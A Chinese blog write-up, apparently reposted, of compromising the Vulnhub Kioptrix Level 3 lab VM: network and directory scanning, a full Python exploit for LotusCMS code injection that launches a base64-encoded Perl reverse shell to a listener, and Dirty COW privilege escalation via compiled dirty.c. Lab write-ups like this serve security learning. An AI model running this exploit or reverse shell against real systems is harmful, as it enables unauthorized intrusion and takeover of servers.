暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Vulhub-Linux-KioprtixVM

Redus 2021-08-12
503


最近不知道些什么学习内容,于是打了几个靶机,把自己的学习记录下来。


靶机下载地址:https : //download.vulnhub.com/kioptrix/KVM3.rar


信息收集

    nmap -sP 192.168.11.0/24


        查看端口开放情况及对应服务,只存在一个22端口和80服务端口。



        

    使用dirb扫描目录信息,发现 phpmyadmin ,弱口令和爆破尝试无法登录。

     

    漏洞利用


    在这里思路就断了,只好去找 LotusCMS 的漏洞,发现存在一个直接反弹shell的poc。

      from requests import get
      import re
      import random
      from urllib import parse
      import base64
      import threading


      # 生成随机码
      def gen_string():
      key = ""
      for i in range(10):
      key += chr(random.randint(65,90))
      return key


      # 检查漏洞是否存在
      def check(target):
      if "http" not in target:
      target = "http" + target
      result = get(target)
      find = re.search(r'<a.*href=[\'|"](/*index.php)\?.*(page=\w+)[\'|"].*>',result.text)
      if find is None:
      print("[*] INFO: Not fond vulnerability.")
      return 0
      key = gen_string()
      target += "index.php?page=index');"+parse.quote("echo '"+key+"';//")
      res = get(target)
      if key in res.text:
      print("[!] INFO: Find vul!!!")
      return True
      print("[*] INFO: Not fond vulnerability.")
      return 0


      def exp(target,host,port):
      poc = """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" %(host,port)
      poc = base64.b64encode(poc.encode('utf-8'))
      target += "index.php?page=index');"+parse.quote("system(base64_decode(%s));//" %poc)
      print("[~] Confirm: please run 'nc -lvp %s' on your client" %port)
      input("\t|--- Please enter any key to start!")
      threading.Thread(target=get, args=(target,)).start()
      print("[?] INFO: Get shell?")
      print("[!] INFO: If the attack is successful,The thread is being requested to suspend……")
      exit(0)


      # target : please input target
      # host : please input lhost
      # port : please input lport
      target = "http://192.168.11.137/" #攻击目标地址
      host = "192.168.11.124" #监听机地址
      port = "4444" #监听端口


      if check(target):
      exp(target, host, port)


      将参数修改之后,在本地监听 4444 端口,成功反弹 shell,权限为 www-data 用户。



      权限提升


      查找本地用户目录,并没有文件,查看网站源码也没有可利用的信息。只好对去看看内核是否存在漏洞。



      好耶!2.6.24 好像有个脏牛提权,使用 linux-exploit-suggester Linux 提权审计工具看下。

      (工具下载地址:https://github.com/mzet-/linux-exploit-suggester


      再用户目录下下载了半天,没有权限下载,切换到 tmp 目录下下载,使用gcc 编译。

        gcc -pthread dirty.c -o dirty -lcrypt 


        赋予执行权限,运行 dirty 然后设置密码



        使用 ssh连接登录脏牛生成的用户。



        总结:

        第一次见到 LotusCMS ,对应的脚本挺好用,获取shell很方便;Linux 提权审计功具很方便用法也很简单,最后一次更新了 CVE-2021-3156 漏洞,值得收藏一波。


        感谢各位师傅关注!有什么问题各位师傅可以指点,万分感谢!




        文章转载自Redus,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

        评论